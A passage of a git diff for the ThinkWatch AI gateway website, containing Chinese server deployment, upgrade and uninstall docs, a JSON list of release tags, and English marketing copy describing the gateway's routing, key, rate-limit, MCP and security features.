`allow_from` 中)、密钥不正确、版本不一致(见[升级](#升级))。这个端口的 `allow_from` 不会自动放行服务器本机;服务器上的命令走本地通道。 + +同一来源一分钟内握手失败五次后,接下来一分钟内来自它的连接一律忽略。从 `allow_from` 中删掉一个网段,已经从那里连着的连接也随即断开。 + +桌面应用把密钥存放在其数据目录下的一个文件中,该文件只有运行应用的用户可以读取。要更换密钥,在服务器上执行 `twcore control-key --rotate`:用旧密钥建立的连接立即断开,之后已连接的应用需要填入新密钥。 + +远程连接能做应用对本机 core 能做的一切,只有三件事服务器会拒绝:停止 core(它由 systemd 管理)、生成诊断包、修改 `listen.control`(这条连接进来的那一节)。这三件事在服务器上操作。连接远程 core 时,ChatGPT 账号只能用设备码登录,因为浏览器登录完成后会回到运行 core 的那台机器。 + +### 让客户端指向服务器 + +客户端使用服务器的网关 `http://<服务器>:8788`,以及 `clients` 中的一把网关密钥。桌面应用可以把它所在机器上的客户端改为指向服务器(客户端页);其他机器上的客户端需手动配置。 + +## 升级 + +服务器上须运行桌面应用内置的 core 版本。两者不一致时(例如应用更新到内置较新 core 的版本之后),应用拒绝连接并显示双方的版本。此时把服务器切换到应用需要的版本: + +```sh +sudo twcore upgrade --version <版本> --restart +``` + +带 `--version` 时,即使指定的版本比已安装的旧,`twcore upgrade` 也会安装它,因此同一条命令既能升级也能降级。较新版本的应用在版本不一致时会显示这条命令,并填好版本号。 + +不带 `--version` 时,`twcore upgrade` 与最新版本比较并安装最新版本,而最新版本可能比应用需要的版本更新: + +```sh +sudo twcore upgrade --check # 与最新版本比较,不做任何改动 +sudo twcore upgrade --restart # 安装最新版本并重启服务 +``` + +`twcore upgrade` 下载适合本机的版本,校验 SHA-256,一步替换 `/usr/local/bin/twcore`,下载失败也不会留下损坏的程序。它不改动配置和数据。不带 `--restart` 时只打印重启服务的命令;在重启之前,运行中的进程仍是旧版本。新版本保存请求记录的格式与原版本不同时,新版本启动后请求记录从空开始,配置保留。 + +## 卸载 + +```sh +sudo systemctl disable --now twcore +sudo rm /etc/systemd/system/twcore.service /usr/local/bin/twcore +sudo systemctl daemon-reload +# 配置、密钥和请求历史: +sudo rm -r /var/lib/thinkwatch /etc/thinkwatch +sudo userdel thinkwatch +``` diff --git a/src/data/releases.json b/src/data/releases.json new file mode 100644 index 0000000..d351b08 --- /dev/null +++ b/src/data/releases.json @@ -0,0 +1,530 @@ +[ + { + "product": "lite", + "tag": "v2026.9.18", + "date": "2026-09-26T11:03:40Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.18" + }, + { + "product": "core", + "tag": "v0.51.0", + "date": "2026-09-26T07:33:32Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.51.0" + }, + { + "product": "core", + "tag": "v0.50.0", + "date": "2026-09-26T03:16:28Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.50.0" + }, + { + "product": "core", + "tag": "v0.49.1", + "date": "2026-09-25T12:02:23Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.49.1" + }, + { + "product": "lite", + "tag": "v2026.9.17", + "date": "2026-09-25T11:22:52Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.17" + }, + { + "product": "core", + "tag": "v0.49.0", + "date": "2026-09-25T08:05:06Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.49.0" + }, + { + "product": "core", + "tag": "v0.48.0", + "date": "2026-09-25T04:41:10Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.48.0" + }, + { + "product": "lite", + "tag": "v2026.9.16", + "date": "2026-09-24T18:48:48Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.16" + }, + { + "product": "core", + "tag": "v0.47.0", + "date": "2026-09-24T17:48:15Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.47.0" + }, + { + "product": "lite", + "tag": "v2026.9.15", + "date": "2026-09-24T14:40:30Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.15" + }, + { + "product": "enterprise", + "tag": "v2.0.0", + "date": "2026-09-24T14:11:48Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v2.0.0" + }, + { + "product": "core", + "tag": "v0.46.0", + "date": "2026-09-24T13:10:48Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.46.0" + }, + { + "product": "core", + "tag": "v0.45.0", + "date": "2026-09-24T11:58:47Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.45.0" + }, + { + "product": "core", + "tag": "v0.44.0", + "date": "2026-09-24T10:57:03Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.44.0" + }, + { + "product": "core", + "tag": "v0.43.0", + "date": "2026-09-24T08:35:30Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.43.0" + }, + { + "product": "core", + "tag": "v0.42.0", + "date": "2026-09-24T07:11:05Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.42.0" + }, + { + "product": "enterprise", + "tag": "v1.1.0", + "date": "2026-09-24T06:25:27Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v1.1.0" + }, + { + "product": "core", + "tag": "v0.41.0", + "date": "2026-09-24T06:11:00Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.41.0" + }, + { + "product": "lite", + "tag": "v2026.9.14", + "date": "2026-09-24T05:16:32Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.14" + }, + { + "product": "lite", + "tag": "v2026.9.13", + "date": "2026-09-24T03:46:59Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.13" + }, + { + "product": "core", + "tag": "v0.40.0", + "date": "2026-09-24T03:17:05Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.40.0" + }, + { + "product": "lite", + "tag": "v2026.9.12", + "date": "2026-09-24T03:13:01Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.12" + }, + { + "product": "core", + "tag": "v0.39.0", + "date": "2026-09-24T02:19:05Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.39.0" + }, + { + "product": "core", + "tag": "v0.38.0", + "date": "2026-09-23T20:45:30Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.38.0" + }, + { + "product": "core", + "tag": "v0.37.0", + "date": "2026-09-23T19:48:04Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.37.0" + }, + { + "product": "lite", + "tag": "v2026.9.11", + "date": "2026-09-23T18:31:28Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.11" + }, + { + "product": "core", + "tag": "v0.36.0", + "date": "2026-09-23T17:39:14Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.36.0" + }, + { + "product": "core", + "tag": "v0.35.0", + "date": "2026-09-23T16:49:20Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.35.0" + }, + { + "product": "core", + "tag": "v0.34.0", + "date": "2026-09-23T15:44:49Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.34.0" + }, + { + "product": "lite", + "tag": "v2026.9.10", + "date": "2026-09-23T14:36:23Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.10" + }, + { + "product": "core", + "tag": "v0.33.0", + "date": "2026-09-23T13:25:33Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.33.0" + }, + { + "product": "core", + "tag": "v0.32.0", + "date": "2026-09-23T11:20:47Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.32.0" + }, + { + "product": "core", + "tag": "v0.31.0", + "date": "2026-09-23T10:18:48Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.31.0" + }, + { + "product": "core", + "tag": "v0.30.0", + "date": "2026-09-23T08:54:25Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.30.0" + }, + { + "product": "core", + "tag": "v0.29.0", + "date": "2026-09-23T03:48:27Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.29.0" + }, + { + "product": "lite", + "tag": "v2026.9.9", + "date": "2026-09-23T02:41:00Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.9" + }, + { + "product": "core", + "tag": "v0.28.0", + "date": "2026-09-23T02:11:02Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.28.0" + }, + { + "product": "lite", + "tag": "v2026.9.8", + "date": "2026-09-22T15:24:13Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.8" + }, + { + "product": "core", + "tag": "v0.27.0", + "date": "2026-09-22T09:50:30Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.27.0" + }, + { + "product": "core", + "tag": "v0.26.0", + "date": "2026-09-22T08:37:47Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.26.0" + }, + { + "product": "core", + "tag": "v0.25.0", + "date": "2026-09-22T06:43:47Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.25.0" + }, + { + "product": "core", + "tag": "v0.24.1", + "date": "2026-09-22T05:49:23Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.24.1" + }, + { + "product": "core", + "tag": "v0.24.0", + "date": "2026-09-22T05:31:02Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.24.0" + }, + { + "product": "core", + "tag": "v0.23.0", + "date": "2026-09-22T04:26:53Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.23.0" + }, + { + "product": "core", + "tag": "v0.22.0", + "date": "2026-09-22T03:54:58Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.22.0" + }, + { + "product": "core", + "tag": "v0.21.0", + "date": "2026-09-22T03:32:46Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.21.0" + }, + { + "product": "core", + "tag": "v0.20.0", + "date": "2026-09-22T02:58:22Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.20.0" + }, + { + "product": "core", + "tag": "v0.19.0", + "date": "2026-09-21T18:23:52Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.19.0" + }, + { + "product": "core", + "tag": "v0.18.0", + "date": "2026-09-21T17:22:50Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.18.0" + }, + { + "product": "core", + "tag": "v0.17.2", + "date": "2026-09-21T14:11:09Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.17.2" + }, + { + "product": "core", + "tag": "v0.17.1", + "date": "2026-09-21T13:13:12Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.17.1" + }, + { + "product": "core", + "tag": "v0.17.0", + "date": "2026-09-21T12:46:51Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.17.0" + }, + { + "product": "core", + "tag": "v0.16.0", + "date": "2026-09-21T11:48:52Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.16.0" + }, + { + "product": "core", + "tag": "v0.15.0", + "date": "2026-09-21T09:19:01Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.15.0" + }, + { + "product": "core", + "tag": "v0.14.1", + "date": "2026-09-21T08:22:41Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.14.1" + }, + { + "product": "core", + "tag": "v0.14.0", + "date": "2026-09-21T06:31:56Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.14.0" + }, + { + "product": "core", + "tag": "v0.13.0", + "date": "2026-09-21T04:24:25Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.13.0" + }, + { + "product": "core", + "tag": "v0.12.0", + "date": "2026-09-21T02:16:08Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.12.0" + }, + { + "product": "core", + "tag": "v0.11.1", + "date": "2026-09-20T10:09:17Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.11.1" + }, + { + "product": "core", + "tag": "v0.11.0", + "date": "2026-09-20T09:03:14Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.11.0" + }, + { + "product": "core", + "tag": "v0.10.0", + "date": "2026-09-20T08:01:57Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.10.0" + }, + { + "product": "core", + "tag": "v0.9.1", + "date": "2026-09-20T02:06:17Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.9.1" + }, + { + "product": "core", + "tag": "v0.9.0", + "date": "2026-09-19T12:16:58Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.9.0" + }, + { + "product": "core", + "tag": "v0.8.2", + "date": "2026-09-19T11:07:09Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.8.2" + }, + { + "product": "core", + "tag": "v0.8.1", + "date": "2026-09-19T05:55:34Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.8.1" + }, + { + "product": "core", + "tag": "v0.8.0", + "date": "2026-09-19T05:01:17Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.8.0" + }, + { + "product": "core", + "tag": "v0.7.0", + "date": "2026-09-18T16:13:09Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.7.0" + }, + { + "product": "lite", + "tag": "v2026.9.7", + "date": "2026-09-18T14:25:23Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.7" + }, + { + "product": "lite", + "tag": "v2026.9.6", + "date": "2026-09-18T13:01:10Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.6" + }, + { + "product": "core", + "tag": "v0.6.0", + "date": "2026-09-17T19:18:41Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.6.0" + }, + { + "product": "core", + "tag": "v0.5.0", + "date": "2026-09-17T18:19:50Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.5.0" + }, + { + "product": "core", + "tag": "v0.4.0", + "date": "2026-09-17T14:04:48Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.4.0" + }, + { + "product": "core", + "tag": "v0.3.0", + "date": "2026-09-17T11:13:16Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.3.0" + }, + { + "product": "core", + "tag": "v0.2.2", + "date": "2026-09-17T07:42:56Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.2.2" + }, + { + "product": "core", + "tag": "v0.2.1", + "date": "2026-09-17T05:33:18Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.2.1" + }, + { + "product": "core", + "tag": "v0.2.0", + "date": "2026-09-17T05:07:12Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.2.0" + }, + { + "product": "core", + "tag": "v0.1.2", + "date": "2026-09-16T15:06:02Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.1.2" + }, + { + "product": "lite", + "tag": "v2026.9.5", + "date": "2026-09-16T14:44:25Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.5" + }, + { + "product": "lite", + "tag": "v2026.9.4", + "date": "2026-09-16T13:09:49Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.4" + }, + { + "product": "lite", + "tag": "v2026.9.3", + "date": "2026-09-16T11:32:59Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.3" + }, + { + "product": "lite", + "tag": "v2026.9.2", + "date": "2026-09-16T10:43:59Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.2" + }, + { + "product": "core", + "tag": "v0.1.1", + "date": "2026-09-16T10:36:40Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.1.1" + }, + { + "product": "lite", + "tag": "v2026.9.1", + "date": "2026-09-16T08:56:34Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.1" + }, + { + "product": "lite", + "tag": "v2026.9.0", + "date": "2026-09-16T07:58:13Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/tag/v2026.9.0" + }, + { + "product": "core", + "tag": "v0.1.0", + "date": "2026-09-16T06:44:51Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch-Core/releases/tag/v0.1.0" + }, + { + "product": "enterprise", + "tag": "v1.0.2", + "date": "2026-09-12T18:16:17Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v1.0.2" + }, + { + "product": "enterprise", + "tag": "v1.0.1", + "date": "2026-05-27T09:28:23Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v1.0.1" + }, + { + "product": "enterprise", + "tag": "v1.0.0", + "date": "2026-05-27T08:30:03Z", + "url": "https://github.com/ThinkWatchProject/ThinkWatch/releases/tag/v1.0.0" + } +] diff --git a/src/i18n/index.ts b/src/i18n/index.ts index 8741d32..bbf0cbc 100644 --- a/src/i18n/index.ts +++ b/src/i18n/index.ts @@ -3,6 +3,9 @@ export type Lang = "en" | "zh-CN"; +/** Where the sponsor line on the Lite page and in the footer leads; the Lite README links to the same address */ +export const sponsorHref = "mailto:fylorn@outlook.com?subject=ThinkWatch%20Lite%20Sponsorship"; + const dict = { en: { common: { @@ -11,51 +14,50 @@ const dict = { copy: "Copy", copied: "Copied ✓", skipToContent: "Skip to content", + sponsors: "Sponsors: ", + sponsorsCta: "Want to appear here?", }, nav: { + thinkwatch: "Enterprise", + lite: "Lite", + core: "Core", + pricing: "Pricing", how: "How it works", features: "Features", + mcp: "MCP", console: "Console", quickstart: "Quick start", + docs: "Docs", changelog: "Changelog", githubShort: "GitHub →", }, - hero: { - badge: "v0.1.0 — now in public preview", - titleA: "The secure gateway", - titleB: "for ", - titleHighlight: "all your AI traffic", - sub: "ThinkWatch is the single control plane through which every model request and every MCP tool call must flow. Authenticated, authorized, rate-limited, logged, and accounted for.", - ctaPrimary: "Get started in 30s", - stack: ["Rust + Axum", "2 MB distroless", "OpenAI · Anthropic · Gemini · Bedrock", "BSL 1.1"], - }, compatible: { label: "Drop-in compatible with", }, problem: { - eyebrow: "The Problem", - title: "AI is everywhere. Governance is ", - titleHighlight: "nowhere", - sub: "As AI agents proliferate across engineering teams, organizations face a growing governance challenge that gets worse every quarter.", + eyebrow: "Challenges", + title: "AI adoption without ", + titleHighlight: "governance", + sub: "As AI agents are adopted across engineering teams, organizations face increasing governance requirements.", pains: [ - { icon: "🔑", title: "Keys scattered everywhere", body: "Hardcoded in .env files, shared in Slack, rotated never. One leaked key drains your monthly budget overnight." }, - { icon: "👁", title: "Zero visibility", body: "Who used which model? How many tokens? Against which project? Nobody knows until the bill arrives." }, - { icon: "🛡", title: "No access control", body: "Every developer has direct access to every model and every MCP tool. There is no least-privilege story." }, - { icon: "📜", title: "Compliance gaps", body: "No audit trail for AI-assisted code generation or data access. Legal and security cannot answer basic questions." }, - { icon: "💸", title: "Cost surprises", body: "Monthly AI bills nobody can explain or attribute. Budget overruns are discovered weeks after the fact." }, + { icon: "key", title: "Unmanaged API keys", body: "Keys are hardcoded in .env files, shared over chat, and rarely rotated." }, + { icon: "eye", title: "Limited visibility", body: "No record of which user called which model, how many tokens were consumed, or at what cost." }, + { icon: "shield", title: "No access control", body: "Every developer has direct access to every model and MCP tool." }, + { icon: "audit", title: "Compliance gaps", body: "AI-assisted code generation and data access leave no audit trail." }, + { icon: "cost", title: "Unattributed costs", body: "Monthly AI spend cannot be explained or attributed to users or teams." }, ], - footer: ["ThinkWatch solves all of this with a ", "single deployment", "."], + footer: ["ThinkWatch addresses these issues with a ", "single deployment", "."], }, how: { eyebrow: "How it works", - title: "Every AI request flows through ", - titleHighlight: "one gateway", - sub: "Drop-in replacement for the OpenAI and Anthropic SDKs. Your agents keep their existing code — they just point at ThinkWatch instead.", + title: "All AI requests pass through ", + titleHighlight: "a single gateway", + sub: "A drop-in replacement for the OpenAI and Anthropic SDKs. Agents keep their existing code and change only the base URL to point at ThinkWatch.", callersLabel: "Callers", upstreamsLabel: "Upstreams", gatewayPort: "Gateway :3000", @@ -63,77 +65,132 @@ const dict = { gatewayTagline: "AI API + MCP proxy", pipelineLabel: "Inside the request lifecycle", pipeline: [ - { step: "01", label: "Authenticate", body: "Virtual `tw-` API key validated against PG, scoped to user/team/project." }, - { step: "02", label: "Authorize", body: "5-tier RBAC checks model/tool access against the caller's role." }, - { step: "03", label: "Rate-limit", body: "Sliding-window RPM/TPM enforced via Redis, per key or per user." }, + { step: "01", label: "Authenticate", body: "The `tw-` API key is looked up in PostgreSQL by its hash and identifies the user it belongs to." }, + { step: "02", label: "Authorize", body: "The models and MCP tools allowed come from the user's roles, including roles inherited from teams, narrowed by the key's own allowlist." }, + { step: "03", label: "Rate-limit", body: "Request-count limits for the user and the key are checked in Redis sliding windows, and a request is refused once a budget is used up." }, { step: "04", label: "Route & convert", body: "Provider selected; request format converted (Anthropic ⇄ OpenAI ⇄ Bedrock ⇄ Gemini)." }, - { step: "05", label: "Stream & meter", body: "SSE forwarded with zero overhead; tokens counted in real-time." }, - { step: "06", label: "Audit", body: "Every call written to ClickHouse and optionally forwarded to your SIEM." }, + { step: "05", label: "Stream & meter", body: "The response streams back to the client as it arrives; token usage is read from it and priced." }, + { step: "06", label: "Audit", body: "Every call written to ClickHouse and optionally forwarded to a SIEM." }, ], }, features: { eyebrow: "Features", - title: "Gateway, MCP proxy, RBAC, analytics — ", + title: "Gateway, MCP proxy, RBAC, and analytics ", titleHighlight: "in one binary", - sub: "ThinkWatch is one Rust binary backed by PostgreSQL, Redis, and ClickHouse. No microservice sprawl, no glue code — every concern handled by the same control plane.", + sub: "The gateway, the MCP proxy, and the admin API run as a single Rust binary backed by PostgreSQL, Redis, and ClickHouse, without separate microservices or glue code.", modules: [ { id: "ai-gateway", label: "AI API Gateway", - tagline: "One port. Every model. Drop-in compatible.", + tagline: "A single port for all supported models, with drop-in compatibility.", bullets: [ - { title: "Multi-format proxy", body: "OpenAI Chat Completions, Anthropic Messages, and OpenAI Responses APIs on a single port — drop-in for Cursor, Continue, Cline, Claude Code, and the official SDKs." }, - { title: "Multi-provider routing", body: "OpenAI, Anthropic, Google Gemini, Azure OpenAI, AWS Bedrock, or any OpenAI-compatible endpoint. Format conversion is automatic." }, - { title: "Virtual API keys", body: "Issue scoped tw- keys per team, project, or developer. Revoke in one click. Plaintext shown exactly once; SHA-256 hashes at rest." }, - { title: "Sliding-window rate limits", body: "RPM and TPM enforced via Redis, per key or per user. Circuit breaker (Closed/Open/HalfOpen) and exponential-backoff retries built in." }, - { title: "Real-time cost tracking", body: "Per-model pricing with budget alerts and team attribution. SSE pass-through with zero-overhead token counting." }, + { title: "Multi-format proxy", body: "OpenAI Chat Completions, OpenAI Responses, Anthropic Messages, and Gemini APIs on a single port. Cursor, Continue, Cline, Claude Code, and the official SDKs connect by changing only the base URL." }, + { title: "Per-model routing: automatic or manual", body: "Each model has its own routing setting. Automatic modes weight upstreams by latency, by success rate, or by both combined (the default); manual mode splits traffic by fixed weights set on a drag bar. A circuit breaker takes failing upstreams out of rotation, a request that fails with a retryable error is sent to another upstream, and the console shows live health for every route." }, + { title: "Multiple providers and a model-level kill switch", body: "OpenAI, Anthropic, Google Gemini, Azure OpenAI, AWS Bedrock, or any OpenAI-compatible endpoint, with automatic format conversion. A single model can be paused without disabling the whole provider, and every request log records the upstream model that actually served the request." }, + { title: "Virtual API keys", body: "Each tw- key belongs to one user and can be limited to the AI gateway, the MCP gateway, the admin API, or any combination, and tagged with a cost center. Keys support expiry, inactivity timeouts, and rotation with a grace period in which the old key keeps working; revoked and disabled keys are listed on a separate tab. The plaintext is shown once, and only a hash is stored." }, + { title: "Rate limits & budgets", body: "Sliding windows from one minute to one week limit requests or tokens, and daily, weekly, or monthly budgets cap token use, weighted per model. Both attach to users, API keys, or roles and apply to MCP tool calls as well as model requests. Request counts are checked before a request; tokens and budgets are counted after the response, and once a budget is used up further requests are refused. A client can ask the gateway what its key has used and how much room its limits leave. If Redis or the database cannot be read, limits are skipped by default; a setting makes the gateway refuse those requests instead." }, + { title: "Cost reporting", body: "Each request is priced from a platform-wide per-token price and per-model weights. Spend is reported by model, user, provider, and cost center and can be filtered by team, with CSV chargeback reports and a month-end forecast. Budget alerts at 50%, 80%, 95%, and 100% are written to the audit log once per period." }, + { title: "Management API & OpenAPI", body: "API keys, users, providers, and settings can be managed through the admin API, using a tw- key that is allowed to call it. An OpenAPI specification describes the endpoints, so scripts and CI pipelines can manage key lifecycles without the console." }, ], }, { id: "mcp-gateway", label: "MCP Gateway", - tagline: "Aggregate every MCP tool behind one endpoint.", + tagline: "Per-user OAuth, single-step onboarding, and audit logging for every call.", bullets: [ - { title: "Centralized tool proxy", body: "One MCP endpoint that aggregates tools from all upstream servers. No more scattering MCP configs across editors." }, - { title: "Namespace isolation", body: "github__create_issue, postgres__query — no tool name collisions, ever, even across hundreds of upstream servers." }, - { title: "Tool-level RBAC", body: "Control exactly which users or roles can invoke which tools. Combine with the 5-tier RBAC model for least-privilege access." }, - { title: "Connection pooling & health", body: "Automatic reconnection, background health checks, and per-server status surfaced in the console." }, - { title: "Full audit trail", body: "Every tool invocation logged with caller, parameters, and response — queryable in ClickHouse." }, + { title: "Per-user upstream credentials", body: "Each developer connects GitHub, Notion, Linear, Slack, or Atlassian under their own identity through OAuth or a personal token, so the upstream audit trail is not obscured by a shared service account. The same MCP endpoint serves each user's data with that user's own credentials." }, + { title: "OAuth onboarding from a server URL", body: "When an MCP server URL is pasted, ThinkWatch discovers its OAuth endpoints and, where the upstream supports Dynamic Client Registration, registers itself, with no manual app registration in each developer portal. A 401 or 403 response to an anonymous probe is treated as a sign that sign-in is required rather than as a failure." }, + { title: "MCP Store templates", body: "The MCP Store ships 37 ready-made templates for common MCP servers, among them GitHub, Notion, Atlassian, and Stripe. Installing a template fills in the server address and sign-in method. A user can connect several accounts to one server, such as personal and work GitHub, and pin each API key to one of them." }, + { title: "Tool-level RBAC and per-user catalogs", body: "Roles and API keys decide which MCP tools can be listed and called, down to a single tool or all tools of one server. Each user's tool list reflects what their own upstream account can access." }, + { title: "Connection testing", body: "Each connected account on the Connections page can be tested against the upstream server, and a newly saved personal token is verified as soon as it is saved." }, + { title: "Scoped audit logging and caching", body: "Every tool call is logged in ClickHouse with caller, arguments, and result. Responses from servers that use per-user credentials are cached per user and per account, never shared. Server addresses that point to private or loopback networks are rejected, and rate limits apply to tool calls." }, + { title: "Streamed tool results", body: "Clients that accept event streams on tools/call receive each upstream event, including progress notifications and the final result, as it arrives. Other clients receive a single JSON response. In both cases the audit record holds the full sequence of events." }, ], }, { id: "security", label: "Security & Compliance", - tagline: "Defense in depth, by default.", + tagline: "Defense in depth by default.", bullets: [ { title: "Dual-port architecture", body: "Gateway (:3000, public-facing) and console (:3001, internal-only) on separate ports. Only the gateway should be reachable from the internet." }, - { title: "5-tier RBAC + SSO/OIDC", body: "Super Admin, Admin, Team Manager, Developer, Viewer. Plug into Zitadel, Okta, Azure AD, or any OIDC provider." }, - { title: "AES-256-GCM at rest", body: "Provider API keys and secrets encrypted at rest. Virtual API keys stored as SHA-256 hashes; plaintext shown exactly once." }, - { title: "Hardened HTTP layer", body: "CSP headers, X-Frame-Options, CORS whitelist, request timeouts. Admin sessions bound to client IP — stolen tokens cannot be replayed." }, - { title: "Distroless containers", body: "2 MB runtime image, no shell, minimal attack surface. JWT entropy enforced at startup; soft-delete with 30-day purge." }, + { title: "Custom roles and SSO/OIDC", body: "Five built-in roles, from Super Admin to Viewer, and any number of custom roles. A new role can start from an existing one, its policy can be edited as JSON in the console, and every change is kept in the role's history. A role can also be granted for a single team. Sign-in works with Zitadel, Okta, Azure AD, or any OIDC provider, with optional TOTP." }, + { title: "AES-256-GCM at rest", body: "Provider keys, MCP tokens, and other upstream secrets are encrypted at rest with AES-256-GCM. Virtual API keys are stored as HMAC-SHA256 hashes, and the plaintext is shown only once." }, + { title: "HttpOnly cookie sessions", body: "Access and refresh tokens are stored in HttpOnly cookies, which JavaScript cannot read. Each console session also signs its requests with a key bound to the IP address it signed in from, so a stolen cookie cannot be replayed from a different network." }, + { title: "Request guards", body: "Credentials and personal information can be replaced with placeholders before a request goes upstream and restored in the answer, and a tool call that downloads and runs code or sends out credentials can be cut off before the client runs it. A content filter 